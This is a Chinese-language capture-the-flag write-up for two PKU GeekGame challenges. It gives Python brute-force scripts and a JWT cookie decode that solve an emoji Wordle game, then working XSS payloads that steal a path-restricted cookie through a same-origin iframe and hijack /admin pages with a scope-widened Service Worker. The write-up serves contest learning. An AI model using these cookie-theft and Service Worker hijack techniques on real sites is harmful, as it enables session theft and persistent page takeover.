Emoji Wordle
才发现原来 emoji 可以被放在代码里和 GET 传参里 ~
Level 1
1.1 爆破法
根据提示,Level1的答案不变,
采用无脑爆破法枚举每个位置上的 emojis
import re
import requests
YES = '🟩'
NO = '🟥'
MAYBE = '🟨'
URL = 'https://prob14.geekgame.pku.edu.cn/level1'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')
r = requests.session()
emoji = "A"
location = {}
while True:
r = requests.session()
while True:
guess = r.get(URL, params={
'guess': emoji
}).text
result = r2.findall(guess)[0]
print(emoji)
print(result)
for idx in range(len(result)):
if result[idx] == YES:
location[idx] = emoji[idx]
try:
new_emoji = r1.findall(guess)[0]
except:
break
e = []
for idx in range(len(new_emoji)):
if location.get(idx):
e.append(location[idx])
else:
e.append(new_emoji[idx])
emoji = "".join(e)
运行代码直到全部变绿
💈💅👼💁👦👗💊💊👱👇👔💆👺👦👓👳👔👉👞💄👧👘💃👺👸👴👿👙👵💆👩👽👛👓👦👝👢💃💅👶👅💈👈💅👼👁👃💂👆👄👂👳👲👢💆👤👜👆👺👱👺👛👆👡
🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩🟩
1.2 逻辑法
我们已知总共有 128 个 emojis
如果我们已知题目中包含的 64 种 emojis
就能通过每次填充 64 个相同的 emoji 来得知哪些位置是该 emoji
因此只需要 63 次就能猜出答案
至于如何确定题目使用的是哪64种emojis
可以通过在大量多次生成 placeholder 来确定
1.3 提交 emojis
提交 emojis 获得 flag
Your flag: flag{s1Mp1e_brut3f0rc3}
Level 2
根据 Hint 查看 Cookie
eyJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImxldmVsIjoiMiIsInJlbWFpbmluZ19ndWVzc2VzIjoiOCIsInRhcmdldCI6Ilx1RDgzRFx1REM0N1x1RDgzRFx1REM3Q1x1RDgzRFx1REM1Nlx1RDgzRFx1REM3NVx1RDgzRFx1REM3RFx1RDgzRFx1REM0NFx1RDgzRFx1REM4Mlx1RDgzRFx1REM0MVx1RDgzRFx1REM1Mlx1RDgzRFx1REM2NVx1RDgzRFx1REM1RFx1RDgzRFx1REM4QVx1RDgzRFx1REM2Mlx1RDgzRFx1REM1RVx1RDgzRFx1REM0MFx1RDgzRFx1REM0NVx1RDgzRFx1REM2OFx1RDgzRFx1REM4M1x1RDgzRFx1REM4Mlx1RDgzRFx1REM3QVx1RDgzRFx1REM4MFx1RDgzRFx1REM2NVx1RDgzRFx1REM3QVx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Q1x1RDgzRFx1REM4Nlx1RDgzRFx1REM0Nlx1RDgzRFx1REM3M1x1RDgzRFx1REM4N1x1RDgzRFx1REM3OFx1RDgzRFx1REM4MVx1RDgzRFx1REM1OFx1RDgzRFx1REM2M1x1RDgzRFx1REM0NVx1RDgzRFx1REM3N1x1RDgzRFx1REM0MVx1RDgzRFx1REM0M1x1RDgzRFx1REM1QVx1RDgzRFx1REM1MVx1RDgzRFx1REMzQlx1RDgzRFx1REM0Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM4M1x1RDgzRFx1REM1NFx1RDgzRFx1REM3NVx1RDgzRFx1REM4N1x1RDgzRFx1REM4OVx1RDgzRFx1REM3Mlx1RDgzRFx1REM3Q1x1RDgzRFx1REM3Qlx1RDgzRFx1REM0NVx1RDgzRFx1REM1NFx1RDgzRFx1REM1OVx1RDgzRFx1REM2Nlx1RDgzRFx1REM2QVx1RDgzRFx1REM1Qlx1RDgzRFx1REM4OFx1RDgzRFx1REM4NVx1RDgzRFx1REM4OFx1RDgzRFx1REM2OVx1RDgzRFx1REM1NFx1RDgzRFx1REM2NVx1RDgzRFx1REM3NFx1RDgzRFx1REM1NyJ9LCJuYmYiOjE3MDEzNTAxODYsImlhdCI6MTcwMTM1MDE4Nn0.eC3acijxIGEM1alsrrBpd_SgxcYbxXc2HCbmYNKNmJg
在 jwt.io 解密后获得
{
"data": {
"level": "2",
"remaining_guesses": "8",
"target": "👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗"
},
"nbf": 1701350186,
"iat": 1701350186
}
输入
👇👼👖👵👽👄💂👁👒👥👝💊👢👞👀👅👨💃💂👺💀👥👺👼👼💆👆👳💇👸💁👘👣👅👷👁👃👚👑🐻👆👪💃👔👵💇💉👲👼👻👅👔👙👦👪👛💈💅💈👩👔👥👴👗
获得 flag
Your flag: flag{d3c0d1n9_jwT_15_345y}
Level 3
这次的 Cookie 中没有直接给出答案
由于服务器不存储状态
这点可以从 Hint 或者 Cookie 名称 PLAY_SESSION 中
得知服务端使用的是 Play Framework
我们通过多次携带相同的 Cookie 进行爆破
ps: 好像本题的 Cookie 会超时,要在短时间内进行爆破()
import re
import random
import requests
YES = '🟩'
NO = '🟥'
MAYBE = '🟨'
URL = 'https://prob14.geekgame.pku.edu.cn/level3'
r1 = re.compile(r'placeholder="(.*)"')
r2 = re.compile(r'results.push\("(.*)"\)')
emoji = "A"
location = {}
bad_location = {}
JWT = requests.get(URL).cookies.get('PLAY_SESSION')
good = []
bad = []
def get(idx: int) -> str:
while True:
e = random.choice(good)
if idx not in bad_location.get(e, []):
return e
while True:
guess = requests.get(URL, params={
'guess': emoji
}, cookies={
'PLAY_SESSION': JWT
}).text
print(guess)
result = r2.findall(guess)[0]
print(emoji)
print(result)
for idx in range(len(result)):
if result[idx] == YES:
location[idx] = emoji[idx]
if result[idx] == NO:
bad.append(emoji[idx])
if result[idx] == MAYBE:
good.append(emoji[idx])
bl = bad_location.get(emoji[idx], [])
bl.append(idx)
bad_location[emoji[idx]] = bl
new_emoji = r1.findall(guess)[0]
e = []
for idx in range(len(new_emoji)):
if location.get(idx):
e.append(location[idx])
else:
if new_emoji[idx] in bad:
e.append(get(idx))
else:
e.append(new_emoji[idx])
emoji = "".join(e)
获得 flag
Your flag: flag{StateIess_game_IS_a_b4d_1d3a}
第三新XSS
Flag 1
由于页面中的 flag 的 Cookie 设置了 path=/admin
所以不能直接在页面中读取 包含 flag 的 Cookie
1.1 iframe 读取信息
根据 Hint 可知
由于在同源环境下
可通过 iframe 读取 Cookie 并输出
因此有 Payload :
<iframe src="/admin/"></iframe>
<script>
document.title = 'running';
setTimeout(()=>{
document.title = 'got: ' + document.querySelector('iframe').contentDocument.cookie;
}, 500);
</script>
即可在 xss bot 处获得 flag 1:
Flag 2
driver.get(admin_url)
time.sleep(.5)
driver.execute_script(f'document.cookie = "flag={getflag(2)}; path=/admin"')
time.sleep(1)
由这段代码我们发现
xss bot 先访问了网页
然后关掉浏览器并重新打开了 /admin
2.1 Service Worker 工作范围提升
由 Hint Service Worker
可以缓存之前打开过的网页
Service Workder:Progressive Web App 的一部分
意义在于让网页可以提供与原生 App 类似的体验,在离线时仍然可以工作
因此我们可以利用 Service Worker
劫持 /admin 目录
但是浏览器默认限制 Service Worker 的工作范围仅限于它所在的这个目录
假设 Service Worker 的脚本是 /path_to/sw.js
那么它只能看到并修改 /path_to/ 底下的所有 HTTP 请求
因此 /admin/ 还是安全的
我们可以利用设置响应头 Service-Worker-Allowed: /
手动提升它的默认工作范围到 /
来绕过限制
2.2 注册 Service Worker 缓存页面
2.2.1 flag2_a
'Content-Type': 'text/html',
<script>
async function run() {
await navigator.serviceWorker.register('/flag2_b/sw.js', {
scope: '/',
});
document.title = 'done';
}
run();
document.title = 'running';
</script>
2.2.2 flag2_b
'Content-Type': 'text/javascript',
'Service-Worker-Allowed': '/',
self.addEventListener('fetch', (event) => {
console.log('fetch', event.request.url);
if(event.request.url.indexOf('/admin/')!==-1) {
event.respondWith(new Response('<script>setInterval(()=>{document.title=document.cookie}, 100)</script>', {
headers: {'Content-Type': 'text/html'},
}));
}
});
2.2.3 获得 flag
此时如果 xss bot 访问 /flag2_a/
就会注册上 /flag2_b/sw.js
的 Service Worker
/admin/ 就会被劫持到缓存中:
即可在 xss bot 处获得 flag 2: